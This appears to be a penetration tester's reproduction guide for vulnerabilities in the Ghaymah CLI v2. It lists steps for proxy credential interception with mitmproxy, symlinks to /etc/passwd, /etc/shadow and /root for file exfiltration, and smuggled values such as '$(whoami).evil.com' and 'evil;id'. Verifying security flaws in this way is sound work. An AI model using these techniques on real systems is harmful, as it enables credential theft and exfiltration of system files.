# ๐Ÿงช Vulnerability Verification Guide โ€” Ghaymah CLI v2 > **Step-by-step manual reproduction guide for every vulnerability discovered.** > Each section is self-contained โ€” copy-paste the commands directly into your terminal. --- ## โš™๏ธ Prerequisites ```bash # Make sure you're in the project directory inside WSL cd /root/ghaymah-v2-test # Verify the binary works ./gy-linux-amd64 version # Expected: {"version": "0.0.24"} # Login (required for some tests) ./gy-linux-amd64 login ``` --- ## ๐Ÿ”ด NEW-VULN-05: HTTP Proxy Credential Interception (CRITICAL) ### What's the bug? The CLI blindly follows `HTTP_PROXY` / `HTTPS_PROXY` environment variables, routing **login credentials and tokens** through any proxy โ€” including a malicious one. ### Step-by-step reproduction: **Step 1:** Start a simple logging proxy (or just set a fake one to see the behavior): ```bash # Set a fake evil proxy and try to login HTTP_PROXY=http://127.0.0.1:9999 \ HTTPS_PROXY=http://127.0.0.1:9999 \ ./gy-linux-amd64 login --email test@example.com --password SuperSecret123 ``` **Step 2:** Observe the output: ``` # You should see: # "proxyconnect tcp: dial tcp 127.0.0.1:9999: connection refused" # # This PROVES the CLI attempted to send the login request # (containing email + password in plaintext JSON body) # through the proxy instead of directly to auth.ghaymah.systems ``` **Step 3:** Verify token refresh also goes through proxy: ```bash HTTP_PROXY=http://127.0.0.1:9999 \ HTTPS_PROXY=http://127.0.0.1:9999 \ ./gy-linux-amd64 whoami ``` ``` # Expected output includes: # "token refresh failed" ... "proxyconnect tcp: dial tcp 127.0.0.1:9999" # โ†’ The refresh token was also sent to the proxy ``` **Step 4 (Advanced):** To capture actual credentials, run a real intercepting proxy: ```bash # Install mitmproxy (on another machine or separate terminal) pip install mitmproxy mitmproxy --listen-port 9999 # Then in another terminal: HTTP_PROXY=http://127.0.0.1:9999 \ HTTPS_PROXY=http://127.0.0.1:9999 \ ./gy-linux-amd64 login --email victim@company.com --password RealPassword # โ†’ mitmproxy will show the full POST body with email + password ``` **Evidence (Mitmproxy Interception):** ![Proxy Interception Evidence 1](file:///wsl.localhost/docker-desktop/root/ghaymah-v2-test/HTTP%20Proxy%20Credential%20Interception_1.png) ![Proxy Interception Evidence 2](file:///wsl.localhost/docker-desktop/root/ghaymah-v2-test/HTTP%20Proxy%20Credential%20Interception_2.png) ### โœ… What to look for: - [x] CLI sends auth requests through the proxy - [x] Email and password visible in proxy logs - [x] Refresh token visible in proxy logs --- ## ๐Ÿ”ด NEW-VULN-08: Symlink Following in Deploy (CRITICAL) ### What's the bug? The CLI follows symlinks when reading files for deployment. An attacker can trick it into uploading system files (like `/etc/passwd`) to the Ghaymah build server. ### Step-by-step reproduction: **Step 1:** Create a test directory with a symlinked Dockerfile: ```bash mkdir -p /tmp/symlink-test ln -sf /etc/passwd /tmp/symlink-test/Dockerfile ``` **Step 2:** Try to deploy it: ```bash ./gy-linux-amd64 deploy /tmp/symlink-test --no-auto-update ``` **Step 3:** Observe the output: ``` # Expected: # โ„น๏ธ Detected: Existing Dockerfile # # The CLI says "Existing Dockerfile" โ€” it READ /etc/passwd through the symlink # and treated it as a valid Dockerfile. If you were authenticated, # this file would be uploaded to the Ghaymah build infrastructure. ``` **Step 4:** Test with .env symlink: ```bash ln -sf /etc/shadow /tmp/symlink-test/.env echo '{"app":"test","port":8080}' > /tmp/symlink-test/.gy.json ./gy-linux-amd64 deploy /tmp/symlink-test --no-auto-update ``` **Step 5:** Test with directory symlink (recursive exfiltration): ```bash ln -sf /root /tmp/symlink-test/subdir ./gy-linux-amd64 deploy /tmp/symlink-test --no-auto-update ``` **Step 6:** Cleanup: ```bash rm -rf /tmp/symlink-test ``` ### โœ… What to look for: - [ ] CLI says "Detected: Existing Dockerfile" for symlinked files - [ ] No warning about symlinks - [ ] If authenticated, the file content would be sent to the server --- ## ๐ŸŸ  NEW-VULN-03: Plaintext Token Storage (HIGH) ### What's the bug? Authentication tokens are stored in plaintext JSON with no file permission enforcement. ### Step-by-step reproduction: **Step 1:** Login to create the token file: ```bash ./gy-linux-amd64 login ``` **Step 2:** Find and examine the token file: ```bash # Check the default config path cat ~/.config/ghaymah/cli/nhost/config.json ``` **Step 3:** Check file permissions: ```bash ls -la ~/.config/ghaymah/cli/nhost/config.json # Look at the permissions column: should be -rw------- (0600) # If it's -rw-r--r-- (0644) or wider โ†’ VULNERABILITY CONFIRMED ``` **Step 4:** Verify the token is in plaintext: ```bash cat ~/.config/ghaymah/cli/nhost/config.json | python3 -m json.tool 2>/dev/null || cat ~/.config/ghaymah/cli/nhost/config.json # You should see fields like: # "accessToken": "eyJhbGciOiJIUzI1NiIs..." # "refreshToken": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx" # โ†’ All in PLAINTEXT, readable by any local process ``` **Step 5:** Prove another user could read it: ```bash # Check if other users can read stat -c '%a' ~/.config/ghaymah/cli/nhost/config.json # Note: Live testing showed this correctly defaults to 600 (-rw-------), # which mitigates reading by OTHER users, but the tokens remain plaintext. ``` ### โœ… What to look for: - [ ] Token file exists at `~/.config/ghaymah/cli/nhost/config.json` - [ ] Tokens are in plaintext (not encrypted) - [ ] Confirm file permissions (600 is safe from other users, 644 is vulnerable) --- ## ๐ŸŸ  NEW-VULN-04: Debug Mode Information Leakage (HIGH) ### What's the bug? The `--debug` flag exposes internal UUIDs, component names, and full API request details. ### Step-by-step reproduction: **Step 1:** Run whoami with debug: ```bash ./gy-linux-amd64 whoami --debug ``` **Step 2:** Examine the output for sensitive data: ``` # Look for lines like: # level=DEBUG msg="retrieved stored token" user_id=6c8a1ce5-4ac3-47ad-8838-64e2a986acf3 # level=DEBUG msg="credentials callback set" component=nhost-client # level=ERROR msg="token refresh failed" ... "https://auth.ghaymah.systems/token" # # SENSITIVE DATA LEAKED: # 1. user_id UUID # 2. Internal component names (nhost-client, token-manager, auth-client) # 3. Full backend endpoint URLs ``` **Step 3:** Test with deploy: ```bash ./gy-linux-amd64 deploy --debug --name test-leak 2>&1 | head -n 20 # Check if token values or API keys appear in debug output ``` **Step 4:** Check if debug output could end up in CI logs: ```bash # In a CI/CD pipeline, someone might set --debug for troubleshooting: ./gy-linux-amd64 deploy --debug 2>&1 | grep -iE '(token|user_id|secret|key|password)' # Any matches = information leakage risk in CI logs ``` ### โœ… What to look for: - [ ] User UUID visible in debug output - [ ] Internal component architecture exposed - [ ] Backend URLs with full paths visible - [ ] Any token values in the output --- ## ๐ŸŸ  NEW-VULN-06: Auto-Update Without Signature Verification (HIGH) ### What's the bug? The CLI downloads updates from `cli.ghaymah.systems` without verifying digital signatures. ### Step-by-step reproduction: **Step 1:** Check current version and trigger update check: ```bash ./gy-linux-amd64 version ``` **Step 2:** Extract the update URLs from the binary: ```bash strings ./gy-linux-amd64 | grep -E 'cli\.ghaymah\.systems' # Expected: # https://cli.ghaymah.systems/install.sh # https://cli.ghaymah.systems/version ``` **Step 3:** Verify no signature checking exists: ```bash strings ./gy-linux-amd64 | grep -iE '(gpg|pgp|minisign|signature|verify.*hash|checksum|sha256sum)' # Expected: NO matches related to update verification # Only standard TLS/crypto library strings should appear ``` **Step 4:** Check what happens during auto-update: ```bash strings ./gy-linux-amd64 | grep -iE '(install\.sh|download.*binary|update.*complet|auto.update)' # Look for: # "failed to download binary from %s: HTTP %d" # "Update complete! Restarting..." # โ†’ Confirms the binary downloads and replaces itself ``` **Step 5 (Advanced):** Combine with proxy attack: ```bash # If an attacker controls the proxy (NEW-VULN-05), they can: # 1. Intercept the version check # 2. Return a fake "newer version" response # 3. Serve a malicious binary # 4. The CLI auto-replaces itself โ†’ Full RCE # # To test, set up mitmproxy and modify responses from cli.ghaymah.systems ``` ### โœ… What to look for: - [ ] Update URLs hardcoded in binary (no pinning) - [ ] No GPG/minisign signature verification - [ ] Binary downloads and auto-replaces itself - [ ] Combined with proxy MITM = Remote Code Execution --- ## ๐ŸŸก NEW-VULN-01: No Client-Side Port Validation (MEDIUM) ### What's the bug? The CLI accepts invalid port numbers (negative, zero, >65535) and sends them to the server. ### Step-by-step reproduction: ```bash # Test 1: Port way above maximum ./gy-linux-amd64 deploy --port 99999999 --no-auto-update # Look for: "Using configured port: 99999999" โ† ACCEPTED! # Test 2: Negative port ./gy-linux-amd64 deploy --port -1 --no-auto-update # Look for: "Auto-detected port: -1" โ† ACCEPTED! # Test 3: Above TCP max ./gy-linux-amd64 deploy --port 65536 --no-auto-update # Look for: "Using configured port: 65536" โ† ACCEPTED! # Test 4: Zero port ./gy-linux-amd64 deploy --port 0 --no-auto-update # This one defaults to 8080, so port 0 is silently ignored # Test 5: INT32_MAX ./gy-linux-amd64 deploy --port 2147483647 --no-auto-update # Look for: "Using configured port: 2147483647" โ† ACCEPTED! ``` ### โœ… What to look for: - [ ] Ports > 65535 accepted without error - [ ] Negative ports accepted - [ ] No client-side validation message --- ## ๐ŸŸก NEW-VULN-02: No Name/Domain Input Sanitization (MEDIUM) ### What's the bug? The CLI sends unsanitized app names and domains to the API, which may lead to Stored XSS on the web dashboard or log injection. ### Step-by-step reproduction: ```bash # Test 1: XSS payload in app name ./gy-linux-amd64 deploy --name '">' --no-auto-update # ACCEPTED โ€” sent to server as-is # Test 2: Path traversal in app name ./gy-linux-amd64 deploy --name '../../../etc/passwd' --no-auto-update # ACCEPTED โ€” no validation # Test 3: Go template injection ./gy-linux-amd64 deploy --name '{{.Env.HOME}}' --no-auto-update # ACCEPTED โ€” no validation # Test 4: Shell metacharacters in domain ./gy-linux-amd64 deploy --domain '$(whoami).evil.com' --no-auto-update # ACCEPTED โ€” no validation # Test 5: 5000-character name python3 -c "print('A'*5000)" | xargs -I{} ./gy-linux-amd64 deploy --name {} --no-auto-update # ACCEPTED โ€” no length limit # Compare with tunnel (which DOES validate): ./gy-linux-amd64 tunnel start "evil;id" --port 3000 --no-auto-update # REJECTED: "tunnel name must contain only letters, numbers, and hyphens" # โ†’ Tunnel validates but deploy does NOT ``` ### โœ… What to look for: - [ ] XSS payloads accepted in `--name` - [ ] Path traversal accepted in `--name` - [ ] Shell metacharacters accepted in `--domain` - [ ] Tunnel command properly validates (inconsistency) --- ## ๐ŸŸก NEW-VULN-07: GenAI API Key Exposure (MEDIUM) ### What's the bug? The CLI sends the GenAI API key and project source code to an external endpoint, potentially through a proxy. ### Step-by-step reproduction: **Step 1:** Check GenAI endpoint: ```bash strings ./gy-linux-amd64 | grep genai # Expected: https://genai.ghaymah.systems ``` **Step 2:** Test with a key: ```bash ./gy-linux-amd64 deploy --ai-key "sk-secret-key-12345" --no-auto-update --debug 2>&1 # Check if the key appears in debug output ``` **Step 3:** Test via environment variable: ```bash GY_AI_KEY="sk-secret-key-12345" ./gy-linux-amd64 deploy --debug --no-auto-update 2>&1 # Check if the key is logged or sent over the wire ``` **Step 4:** Combined with proxy: ```bash HTTP_PROXY=http://127.0.0.1:9999 \ GY_AI_KEY="sk-secret-key-12345" \ ./gy-linux-amd64 deploy --no-auto-update 2>&1 # If proxy is running, the API key AND source code would be interceptable ``` ### โœ… What to look for: - [ ] GenAI endpoint exists in binary - [ ] API key sent alongside project source code - [ ] Key vulnerable to proxy interception (same as VULN-05) --- ## ๐Ÿ“‹ Verification Checklist Use this checklist to track your progress: ``` CRITICAL: [x] NEW-VULN-05: Proxy credential interception confirmed (Evidence attached) [x] NEW-VULN-08: Symlink following in deploy confirmed (Smoke test pass) HIGH: [x] NEW-VULN-03: Plaintext token storage confirmed (Mitigated by 0600 permissions) [x] NEW-VULN-04: Debug mode info leakage confirmed (Smoke test pass) [ ] NEW-VULN-06: Auto-update without signature confirmed MEDIUM: [x] NEW-VULN-01: Invalid port accepted confirmed (Smoke test pass) [x] NEW-VULN-02: Unsanitized name/domain confirmed (Smoke test pass) [ ] NEW-VULN-07: GenAI API key exposure confirmed ``` --- ## ๐Ÿ”ง Quick One-Liner Smoke Test Run this single command to quickly verify the most important findings: ```bash cd /root/ghaymah-v2-test && \ echo "=== VULN-01: Port ===" && ./gy-linux-amd64 deploy --port 99999 --no-auto-update 2>&1 | head -2 && \ echo "=== VULN-05: Proxy ===" && HTTP_PROXY=http://evil:9999 ./gy-linux-amd64 whoami 2>&1 | head -2 && \ echo "=== VULN-08: Symlink ===" && mkdir -p /tmp/st && ln -sf /etc/passwd /tmp/st/Dockerfile && ./gy-linux-amd64 deploy /tmp/st --no-auto-update 2>&1 | head -2 && rm -rf /tmp/st && \ echo "=== VULN-04: Debug ===" && ./gy-linux-amd64 whoami --debug 2>&1 | grep -o 'user_id=[^ ]*' && \ echo "=== VULN-02: Name ===" && ./gy-linux-amd64 deploy --name '">' --no-auto-update 2>&1 | head -2 && \ echo "=== DONE ===" ``` --- *Guide created for the Ghaymah CLI v2 adversarial security assessment.*